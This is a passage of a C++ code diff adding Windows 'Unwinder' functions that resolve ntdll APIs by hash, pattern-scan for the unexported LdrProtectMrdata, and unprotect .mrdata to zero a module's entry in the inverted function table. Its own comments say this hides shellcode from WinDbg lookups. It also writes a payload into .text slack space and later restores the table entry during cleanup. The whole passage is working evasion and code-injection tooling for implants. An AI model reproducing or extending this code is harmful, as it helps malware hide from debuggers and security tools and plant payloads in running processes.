Inverted Function Table -> 0x%p \n", (PVOID)TableAddress); + DBGPRINT("[+] SRW Lock -> 0x%p \n", (PVOID)LockAddress); +#endif + + *ppInvertedTable = (PINVERTED_FUNCTION_TABLE)TableAddress; + *ppSrwLock = (PRTL_SRWLOCK)LockAddress; + + return TRUE; +} + +/*================================================ +@ ResolveLdrMrdataProtector Function +# Locates the unexported LdrProtectMrdata function +# by scanning RtlAddFunctionTable for the byte +# pattern 33 C9 48 89 43 28 E8 and resolving +# the CALL target via rel32 offset +================================================*/ +BOOL Unwinder::ResolveLdrMrdataProtector( + OUT fnLdrProtectMrdata* pOutFnPtr +) { + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + ULONG_PTR FnAddress = (ULONG_PTR)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + + BYTE Buffer[512] = { 0 }; + Primitive::MemoryCopy(Buffer, (PVOID)FnAddress, sizeof(Buffer)); + + /* Pattern: 33 C9 48 89 43 28 E8 + XOR ECX, ECX | MOV [RBX+28H], RAX | CALL LdrProtectMrdata + */ + const BYTE Pattern[] = { 0x33, 0xC9, 0x48, 0x89, 0x43, 0x28, 0xE8 }; + + for (int i = 0; i < (int)(sizeof(Buffer) - sizeof(Pattern)); i++) { + + if (Primitive::MemoryCompare(&Buffer[i], Pattern, sizeof(Pattern)) != 0) + continue; + + INT32 Rel = 0; + Primitive::MemoryCopy(&Rel, &Buffer[i + 7], sizeof(INT32)); + ULONG_PTR Candidate = FnAddress + i + 7 + 4 + Rel; + + if (Candidate > (ULONG_PTR)Ntdll && Candidate < (ULONG_PTR)Ntdll + 0x200000) { + *pOutFnPtr = (fnLdrProtectMrdata)Candidate; +#ifdef DEBUG + DBGPRINT("[+] LdrProtectMrdata Resolved -> 0x%p \n", (PVOID)Candidate); +#endif + return TRUE; + } + } + +#ifdef DEBUG + DBGPRINT("[-] LdrProtectMrdata Not Found - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; +} + +/*================================================ +@ CollapseInvertedTableEntry Function +# Sets ImageSize to 0 in _INVERTED_FUNCTION_TABLE +# for the target module. Acquires exclusive SRW +# lock and unprotects .mrdata before writing. +# This hides the shellcode from WinDbg lookups +================================================*/ +BOOL Unwinder::CollapseInvertedTableEntry( + _In_ PVOID pModule, + OUT PULONG puOldSize +) { + PINVERTED_FUNCTION_TABLE InvertedTable = nullptr; + PRTL_SRWLOCK SrwLock = nullptr; + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + + auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + + fnLdrProtectMrdata LdrProtectMrData = nullptr; + Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); + if (!LdrProtectMrData) + return FALSE; + + if (!Unwinder::LocateInvertedFunctionTable(&InvertedTable, &SrwLock)) + return FALSE; + + if (!InvertedTable || !SrwLock) + return FALSE; + + Acquire(SrwLock); + LdrProtectMrData(FALSE); + + BOOL Found = FALSE; + for (int i = 0; i < InvertedTable->Count; i++) { + + if (InvertedTable->Entries[i].ImageBase != pModule) + continue; + + *puOldSize = InvertedTable->Entries[i].ImageSize; + InvertedTable->Entries[i].ImageSize = 0; + Found = TRUE; + break; + } + + LdrProtectMrData(TRUE); + Release(SrwLock); + + return Found; +} + +/*================================================ +@ LocateTextAppendCursor Function (static) +# Scans .text section backwards from the end to +# find the first usable slack space (0xCC/0x00). +# Returns aligned pointer to the free region +================================================*/ +static PUBYTE LocateTextAppendCursor( + _In_ const SECTION_INFO* pSectionInfo, + _In_ SIZE_T sAlignment, + OUT SIZE_T* pSkipped, + OUT SIZE_T* pAvailable +) { + if (!pSectionInfo || !pSectionInfo->VirtualAddress || !pSectionInfo->VirtualSize) + return nullptr; + + PUBYTE pBase = (PUBYTE)pSectionInfo->VirtualAddress; + SIZE_T dwSize = (pSectionInfo->VirtualSize + 0x1000) & 0xFFFFF000; + PUBYTE p = pBase + (dwSize - 1); + SIZE_T Skipped = 0; + + for (;;) { + if (p < pBase) break; + UBYTE b = *p; + if (b != 0xCC && b != 0x00) break; + --p; + ++Skipped; + } + + PUBYTE pFirstFree = (p < pBase) ? pBase : (p + 1); + + if (sAlignment && (sAlignment & (sAlignment - 1)) == 0) { + ULONG_PTR v = (ULONG_PTR)pFirstFree; + ULONG_PTR Aligned = (v + (sAlignment - 1)) & ~(ULONG_PTR)(sAlignment - 1); + if (Aligned < v) return nullptr; + pFirstFree = (PUBYTE)Aligned; + } + + if (pFirstFree < pBase || (SIZE_T)(pFirstFree - pBase) > dwSize) + return nullptr; + + if (pSkipped) *pSkipped = Skipped; + if (pAvailable) *pAvailable = (SIZE_T)(pBase + dwSize - pFirstFree); + + return pFirstFree; +} + +/*================================================ +@ AppendCodeToText Function +# Writes code into .text section slack space. +# Finds cursor via LocateTextAppendCursor, unlocks +# .text, copies payload, re-locks. Returns the +# RVA of the written code via pdwBeginRva +================================================*/ +BOOL Unwinder::AppendCodeToText( + _In_ PVOID pModule, + _In_ PVOID pCode, + _In_ DWORD dwCodeSize, + OUT PDWORD pdwBeginRva +) { + static DWORD s_dwBytesWritten = 0; + + SECTION_INFO SectionInfo = { 0 }; + SIZE_T Skipped = 0; + SIZE_T Available = 0; + + Resolver::ResolveTextSectionInfo(pModule, &SectionInfo); + + PUBYTE pAppendAt = LocateTextAppendCursor(&SectionInfo, 1024, &Skipped, &Available); + if (!pAppendAt) + return FALSE; + + pAppendAt += s_dwBytesWritten; + Available -= s_dwBytesWritten; + + if (Available < dwCodeSize) + return FALSE; + + *pdwBeginRva = (DWORD)((ULONG_PTR)pAppendAt - (ULONG_PTR)pModule); + + NTSTATUS Status = Unwinder::UnlockTextSection(pModule); + if (!NT_SUCCESS(Status)) + return FALSE; + + Primitive::MemoryCopy(pAppendAt, pCode, dwCodeSize); + + Unwinder::LockTextSection(pModule); + + s_dwBytesWritten += dwCodeSize; + + return TRUE; +} + +/*================================================ +@ ResolveFunctionSize Function +# Looks up a function's RUNTIME_FUNCTION entry +# by its RVA and returns EndAddress - BeginAddress +================================================*/ +DWORD Unwinder::ResolveFunctionSize( + _In_ PVOID pModule, + _In_ PVOID pFunction +) { + DWORD Size = 0; + DWORD FunctionRva = (DWORD)((ULONG_PTR)pFunction - (ULONG_PTR)pModule); + PRUNTIME_FUNCTION RtTable = (PRUNTIME_FUNCTION)Resolver::ResolveExceptionDirectory(pModule, &Size); + DWORD Count = Size / sizeof(RUNTIME_FUNCTION); + + if (!RtTable) + return 0; + + for (DWORD i = 0; i < Count; i++) { + if (RtTable[i].BeginAddress == FunctionRva) + return RtTable[i].EndAddress - RtTable[i].BeginAddress; + } + +#ifdef DEBUG + DBGPRINT("[-] Function Not Found In .pdata -> RVA: 0x%lx \n", FunctionRva); +#endif + return 0; +} + +/*================================================ +@ ExpandInvertedTableEntry Function +# Restores ImageSize to its original value in +# _INVERTED_FUNCTION_TABLE. Called by +# RevertAllSpoofChanges during cleanup to undo +# the CollapseInvertedTableEntry operation +================================================*/ +BOOL Unwinder::ExpandInvertedTableEntry( + _In_ PVOID pModule, + _In_ ULONG ulOldSize +) { + PINVERTED_FUNCTION_TABLE InvertedTable = nullptr; + PRTL_SRWLOCK SrwLock = nullptr; + PVOID Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")); + + auto Acquire = (fnRtlAcquireSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + auto Release = (fnRtlReleaseSRWLockExclusive)Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + + fnLdrProtectMrdata LdrProtectMrData = nullptr; + Unwinder::ResolveLdrMrdataProtector(&LdrProtectMrData); + if (!LdrProtectMrData) + return FALSE; + + if (!Unwinder::LocateInvertedFunctionTable(&InvertedTable, &SrwLock)) + return FALSE; + + if (!InvertedTable || !SrwLock) + return FALSE; + + Acquire(SrwLock); + LdrProtectMrData(FALSE); + + BOOL Found = FALSE; + for (int i = 0; i < InvertedTable->Count; i++) { + + if (InvertedTable->Entries[i].ImageBase != pModule) + continue; + + InvertedTable->Entries[i].ImageSize = ulOldSize; + Found = TRUE; + break; + } + + LdrProtectMrData(TRUE); + Release(SrwLock); + + return Found; +} \ No newline at end of file